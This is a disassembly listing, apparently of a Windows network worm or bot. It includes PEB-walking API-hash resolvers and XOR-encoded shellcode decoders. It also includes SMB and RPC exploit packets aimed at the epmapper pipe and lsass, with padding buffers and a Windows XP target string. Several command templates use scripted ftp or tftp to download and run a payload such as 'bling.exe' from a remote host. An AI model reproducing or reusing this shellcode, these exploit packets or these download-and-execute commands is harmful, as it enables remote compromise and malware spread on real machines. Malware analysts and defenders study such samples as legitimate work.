; =============== S U B R O U T I N E =======================================
sub_432198 proc near ; DATA XREF: ___:0040D61Fo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_432294
push dword ptr [esi]
push 63D61209h
call sub_4322AA
mov [esi+8], eax
call sub_43225D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4322AA
mov [esi+0Ch], eax
call sub_43220F
push dword ptr [esi+4]
push 4C0297FAh
call sub_4322AA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_432198 endp
; =============== S U B R O U T I N E =======================================
sub_43220F proc near ; CODE XREF: sub_432198+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432238
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_43220F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432238 proc near ; CODE XREF: sub_43220F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_432247: ; CODE XREF: sub_432238+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_432254
inc ebx
jmp short loc_432247
; ---------------------------------------------------------------------------
loc_432254: ; CODE XREF: sub_432238+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432238 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43225D proc near ; CODE XREF: sub_432198+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_432275: ; CODE XREF: sub_43225D+1Ej
cmp [ecx], ebx
jz short loc_43227D
mov ecx, [ecx]
jmp short loc_432275
; ---------------------------------------------------------------------------
loc_43227D: ; CODE XREF: sub_43225D+1Aj
mov edx, edi
loc_43227F: ; CODE XREF: sub_43225D+2Aj
cmp [edx+4], ebx
jz short loc_432289
mov edx, [edx+4]
jmp short loc_43227F
; ---------------------------------------------------------------------------
loc_432289: ; CODE XREF: sub_43225D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43225D endp
; =============== S U B R O U T I N E =======================================
sub_432294 proc near ; CODE XREF: sub_432198+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_432294 endp
; =============== S U B R O U T I N E =======================================
sub_4322AA proc near ; CODE XREF: sub_432198+16p
; sub_432198+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4322C0: ; CODE XREF: sub_4322AA+33j
jecxz short loc_4322FA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4322CD: ; CODE XREF: sub_4322AA+2Dj
lodsb
cmp al, ah
jz short loc_4322D9
ror edi, 0Dh
add edi, eax
jmp short loc_4322CD
; ---------------------------------------------------------------------------
loc_4322D9: ; CODE XREF: sub_4322AA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4322C0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j
; sub_4322AA:loc_4322FAj
jmp short loc_4322FA
sub_4322AA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_432300 proc near ; DATA XREF: ___:0040D5CDo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_432352
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_43231D: ; CODE XREF: sub_432300+38j
jecxz short loc_43234D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432328: ; CODE XREF: sub_432300+32j
lodsb
test al, al
jz short loc_432334
ror edx, 0Dh
add edx, eax
jmp short loc_432328
; ---------------------------------------------------------------------------
loc_432334: ; CODE XREF: sub_432300+2Bj
cmp edx, [esp+arg_0]
jnz short loc_43231D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj
mov [esp+arg_0], ebx
retn
sub_432300 endp
; =============== S U B R O U T I N E =======================================
sub_432352 proc near ; CODE XREF: sub_432300+7p
; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43236B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_432376
; ---------------------------------------------------------------------------
loc_43236B: ; CODE XREF: sub_432352+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_432376: ; CODE XREF: sub_432352+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43238A
sub_432352 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43237D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_432352
loc_43238A: ; CODE XREF: sub_432352+29j
call sub_43237D
loc_43238F: ; DATA XREF: sub_40CD9E+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_432352
; ---------------------------------------------------------------------------
dw 0
dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo
dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo
dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o
align 4
loc_4323B4: ; DATA XREF: sub_40CD9E+E8o
jmp short near ptr dword_4323BC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D5F4o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do
; ___:0040E167o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCF9+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o
dd 20h, 5C005Ch, 0
off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do
; "Lafler"
dd offset dword_5C0024
a12345611111111:
unicode 0, <123456111111111111111.doc>,0
align 8
dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C dd offset locret_580044+2 ; DATA XREF: sub_40DCF9+45o
dd offset loc_42004C+2
dd offset locret_580044+2
dd offset locret_580044+2
dd offset loc_42004C+2
dd offset locret_580044+2
dd offset locret_580044+2
dd offset locret_580044+2
dd offset locret_580044+2
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0
dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o
dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo
off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co
; sub_40DC41+16o
align 8
off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co
; sub_40DC41+Bo
dd offset aLallemant+8
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
; ___:0040E99Eo ...
align 10h
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
align 10h
jmp short loc_4329C2
; =============== S U B R O U T I N E =======================================
sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4329BA: ; CODE XREF: sub_4329B2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4329BA
jmp short loc_4329C7
; ---------------------------------------------------------------------------
loc_4329C2: ; CODE XREF: ___:004329B0j
call near ptr sub_4329B2
loc_4329C7: ; CODE XREF: sub_4329B2+Ej
jo short loc_432A2B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_432A49
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_432A49: ; CODE XREF: sub_4329B2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_4329B2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_432AF0: ; DATA XREF: sub_40E3F1+156o
; sub_40E3F1+212o
jmp short loc_432B02
; =============== S U B R O U T I N E =======================================
sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_432AFA: ; CODE XREF: sub_432AF2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_432AFA
jmp short loc_432B07
; ---------------------------------------------------------------------------
loc_432B02: ; CODE XREF: ___:loc_432AF0j
call sub_432AF2
loc_432B07: ; CODE XREF: sub_432AF2+Ej
jo short near ptr dword_432A80+1Eh
cwde
cdq
cdq
retn
sub_432AF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40E3F1+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:0040E8A6o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:0040E8D2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:0040E8F9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40E3F1+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r
; sub_40E3F1+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r
; sub_40E3F1+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40E292+BCo
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------
loc_433408: ; DATA XREF: sub_40E3F1+177o
jmp short loc_433410
; ---------------------------------------------------------------------------
jmp short loc_433412
; ---------------------------------------------------------------------------
align 10h
loc_433410: ; CODE XREF: ___:loc_433408j
; DATA XREF: sub_40E3F1+27o
pop esp
pop esp
loc_433412: ; CODE XREF: ___:0043340Aj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr
dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r
dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9FB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
